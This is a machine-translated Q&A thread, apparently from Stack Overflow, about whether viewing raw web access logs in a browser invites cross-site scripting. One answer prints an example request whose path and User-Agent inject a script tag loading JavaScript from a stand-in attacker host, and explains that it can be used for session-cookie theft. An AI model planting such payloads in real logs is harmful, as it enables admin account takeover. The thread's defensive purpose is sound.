在没有通过网络浏览器进行消毒的情况下查看访问日志是危险的吗?

jim*_*ove 5 php security logging sanitize

在没有通过网络浏览器进行消毒的情况下查看访问日志是危险的吗?

我正在考虑记录访问日志,我正在考虑通过wev浏览器查看它,但如果攻击者修改了他的远程主机或用户代理或其他东西,他可以攻击我吗?

通过将攻击代码插入其远程主机或用户代理等.

那么在通过Web浏览器打开访问日志文件之前,我是否需要通过htmlspecialchar进行清理?

我的意思是攻击者将一些攻击代码插入他的远程主机或用户代理或某些软件,然后我看到通过Web浏览器访问日志,然后我的PC将受到该代码的影响.

Mif*_*Fox 5

是的,这很危险.

例如,恶意用户可以请求这样的内容:

GET /<script src="http://www.evilsite.com/malicious.js"></script> HTTP/1.1
Host: www.example.com
Connection: close
User-Agent: <script src="http://www.evilsite.com/malicious.js"></script>
Run Code Online (Sandbox Code Playgroud)

并使用恶意JavaScript破坏您的视图页面.

由于您可能正在查看您网站上的日志,因此您将以具有管理权限的帐户登录.使用恶意JavaScript,攻击者可以窃取您的会话cookie并接管您的会话,并完成您在登录时可以执行的所有操作.

因此,总之,您绝对应该逃避访问日志页面,除非您喜欢让您的管理帐户受到损害.


Vol*_*erK 3

您可能需要一些 html 格式的输出,因此必须对日志数据进行清理/编码。但为了论证:如果您将输出作为文本/纯文本发送,则客户端不应该解析任何 html/javascript。
例如输出

<?php
header('Content-type: text/plain; charset=utf-8');
echo '<script>alert(document.URL);</script>';
Run Code Online (Sandbox Code Playgroud)显示为
<脚本>警报(文档.URL); </脚本>
(至少在 FF3、IE8、opera、safari 中)。